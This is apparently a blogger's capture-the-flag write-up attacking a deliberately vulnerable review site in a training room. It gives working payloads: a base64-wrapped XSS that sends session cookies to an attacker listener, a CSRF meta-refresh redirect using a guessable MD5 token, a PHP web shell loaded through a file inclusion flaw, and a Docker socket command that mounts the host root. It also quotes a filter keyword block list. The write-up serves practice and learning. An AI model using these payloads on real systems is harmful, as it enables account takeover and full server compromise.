Recon first. Added review.thm to /etc/hosts and fired off an initial scan.
┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.146.146.196
Port 22 and Port 80 are open. The http-enum reveals directories: /login.php, /mail/, /phpmyadmin/, and /uploads/. The scan also flagged PHPSESSID: httponly flag not set on Port 80.
Let’s fuzz and see what else is lurking.
┌──(jenn㉿local)-[~]
└─$ ffuf -u http://review.thm/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
While that runs, let’s pay review.thm a visit.
Ahh. So this is where companies buy fake reviews.
Information Disclosure
Let’s look at the /mail subdomain the scan found.
Well hello there.
Mind if I slide into your DMs?
Yes? Too bad…
Bingo. I truly cannot thank you enough, Robert. I might get some sun today.
From Mr. Robert, we now know:
http://review.thm/mail/dump.txtexists- Internal email addresses:
software@review.thmandproduct@review.thm /finance.phpexists on an internal private192.xnetwork/lottery.phplives on the same network- The password, all 8 characters of it (no special characters, Robert? Really?):
S60u}f5j
The dev team lead posts credentials, backend domains, and newly created .php panels in a mail folder. He is now on holiday. He is not watching. He is likely on an island with no MFA/2FA within reach, and likely did not set it up anyways.
Shame on you, Robert.
Stored XSS
Back to review.thm. The site accepts user-submitted reviews, the httponly flag is not set on PHPSESSID, and we are running on Apache 2.4.41. That combination means JavaScript can tango with session cookies, which sets a volatile stage for an XSS attack.
Let’s look at both Contact Us…
…and login.php:
Look at how large these form boxes are. Large enough to see the entire payload syntax.
Thanks, Robert.
The name of this challenge, Sequence, suggests filtered or sequential XSS payload input. Following best practice, a baseline <script>alert(1)</script> goes in first for fingerprinting. Shoutout to my potential future employers/team members out there. Just letting you know I typically follow TTPs.
Given the room name, the svg onload approach gets our first attempt. Set up a listener on Port 4444:
┌──(jenn㉿local)-[~]
└─$ nc -lvnp 4444
Test payload:
fetch('http://192.168.128.19:4444/?c='+document.cookie)
Fire away!
Nope. Just kidding. As expected, the payload needs base64 encoding. The wrapping serves two purposes: it hides the inner JS from the filter’s signature checks, and the browser decodes it at runtime via atob().
echo -n "fetch('http://192.168.128.19:4444/?c='+document.cookie)" | base64
Crafted payload:
<svg onload="eval(atob('ZmV0Y2goJ2h0dHA6Ly8xOTIuMTY4LjEyOC4xOTo0NDQ0Lz9jPScrZG9jdW1lbnQuY29va2llKQ=='))">
Fire again!
Hah! Gotcha.
Open DevTools, and swap cookies (why does that sound so wrong?).
The cookie is swapped. Ugh. That sounds even worse.
Refresh the page.
Flag AND mod. Don’t mind if I do.
We are far from done. We have climbed a bit higher up the chain, but we are just getting started.
CSRF
Now that we are mod, there are new subdomains to explore. The /Chat is reminiscent of a recent exploit where a logic flaw caused admin to auto-click and visit every new message. Admin visits any URL sent to the chat. That means we are moving on to CSRF.
First, let’s look at the other pages we have access to as mod.
On Settings.php: Promote to Admin? It cannot be that easy.
Fire up Burp.
mod goes into the “Promote Co-Admin” form box, Burp open, FoxyProxy enabled, Intercept on. Grabbed the GET request:
CSRF_token_promote followed by a token that looks like MD5.
Let’s verify and figure out how to use this.
On Crackstation.net: What the *%#)*
The CSRF_token_promote MD5 hash cracks to my username. That is, put as nicely as I can, bad cyber hygiene. Forget cyber posture. This is cyber-spineless.
If my logic is not flawed (see what I did there?), MD5-encoding admin should get us there.
┌──(jenn㉿local)-[~]
└─$ echo -n "admin" | md5sum
21232f297a57a5a743894a0e4a801fc3 = admin with a lowercase “a.”
Crafted CSRF payload:
<img src="http://review.thm/promote_coadmin.php?username=admin&csrf_token_promote=21232f297a57a5a743894a0e4a801fc3">
Ready, set, fire!
The chat threw a warning modal and blocked the payload. Big find, though. Decoded, this tells us what keywords the chat blocks:
"onerror", "onload", "fetch", "ajax", "xmlhttprequest", "eval", "document.cookie", "window.location"
What the chat still allows: img, src, < and >. The payload should survive. Switching from the netcat listener to a Python HTTP server on Port 8000 now. First, confirm the bot is actually clicking links:
┌──(jenn㉿local)-[~]
└─$ python3 -m http.server 8000
Send to chat:
<img src="http://192.168.128.19:8000/test">
The connection hit the Python server. Admin’s browser is rendering images.
GET /test%22%3E is URL-encoded for /test">, meaning the browser included the closing "> of the <img> tag as part of the URL. Not parsed as HTML. The chat strips or escapes tags before rendering, and fetches the URL to generate a link preview.
That means we need a plain URL instead. Strip the full href tag, swap username=admin to username=mod since that is what the original GET showed:
http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5
The message sends, but the listener and privilege level stay static. Clicking “View Feedback” in the nav reveals something useful:
/admin_view.php lives under “View Feedback.” Filed away.
The bot is grabbing non-payload links. Filters are heavy. Time for a meta refresh redirect. Create a file that silently redirects anyone who visits it straight to the promote endpoint:
cat > ~/www/promote.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="0;url=http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5">
</head>
<body></body>
</html>
EOF
Admin bot visits the page, gets instantly redirected to the promote endpoint, and executes the privilege escalation while authenticated as admin.
Send this to the chat:
http://192.168.128.19:8000/promote.html
After sending, head to Settings and change mod’s password for viva la persistance.
Log out, log back in with the new password.
Muahahahaha.
Mod = PWNED.
Privilege Escalation to Admin
Reload /promote_coadmin.php:
I like this. I like it a lot.
And remember the credentials from /mail/dump.txt? We are about to need them.
Mod’s /dashboard.php has a dropdown feature select with /lottery.
Lottery says “Coming Soon!”, but we stay on /dashboard.php.
Burp that request.
It is a POST request. We have login credentials for /finance, built by the same dev, both “placed in a controlled environment to prevent unauthorized access.” Let’s swap lottery.php for finance.php in the intercepted request.
Hit Forward, kill Intercept.
Disable FoxyProxy, but leave Burp open. We are not done with her yet.
Enter Robert’s password:
We are now in the Finance feature. Specifically: a file upload feature. On a .php site. If that is not exciting, I cannot help you.
Shell Upload and Docker Socket Abuse
Make a web shell:
echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/shell.php
Start an HTTP server:
python3 -m http.server 80 --directory ~/www
Upload shell.php via the finance panel.
Back to Burp. Grab a fresh PHPSESSID in-browser, then send this POST to the Repeater:
POST /dashboard.php HTTP/1.1
Host: review.thm
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=67a2a5v12r4liujus6vv2o5lds
Content-Length: 25
feature=uploads/shell.php
The feature parameter on dashboard.php controls which page loads. Pointing it at the uploaded shell exploits an LFI in the feature loader. Start a listener in a new terminal:
nc -lvnp 443
Send the POST from Repeater and check the listener:
BAM. Docker socket abuse time.
ls -la /var/run/docker.sock
docker images
Mount the host filesystem:
docker run -v /:/mnt --rm -it php:8.1-cli bash
ROOT, baby.
Docker sockets give us the power to run any container with any mounts. We mounted the host’s / into the new container at /mnt. The host’s /root/ is now at /mnt/root/ inside our shell.
cat /mnt/root/flag.txt
Good work, team.
Full Attack Chain
# Recon
nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.146.146.196
ffuf -u http://review.thm/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
# Info disclosure
curl http://review.thm/mail/dump.txt
# Stored XSS -- base64 encode payload
echo -n "fetch('http://ATTACKER_IP:4444/?c='+document.cookie)" | base64
# Inject via review form:
# <svg onload="eval(atob('BASE64_STRING'))">
# Listener for cookie capture
nc -lvnp 4444
# CSRF token -- MD5 of target username
echo -n "admin" | md5sum
# Result: 21232f297a57a5a743894a0e4a801fc3
# Meta refresh CSRF redirect
cat > ~/www/promote.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="0;url=http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5">
</head>
<body></body>
</html>
EOF
# HTTP server for redirect delivery
python3 -m http.server 8000
# Web shell
echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/shell.php
# Upload via finance panel, trigger via Burp POST:
# POST /dashboard.php
# feature=uploads/shell.php
# Docker socket abuse to host root
ls -la /var/run/docker.sock
docker images
docker run -v /:/mnt --rm -it php:8.1-cli bash
cat /mnt/root/flag.txt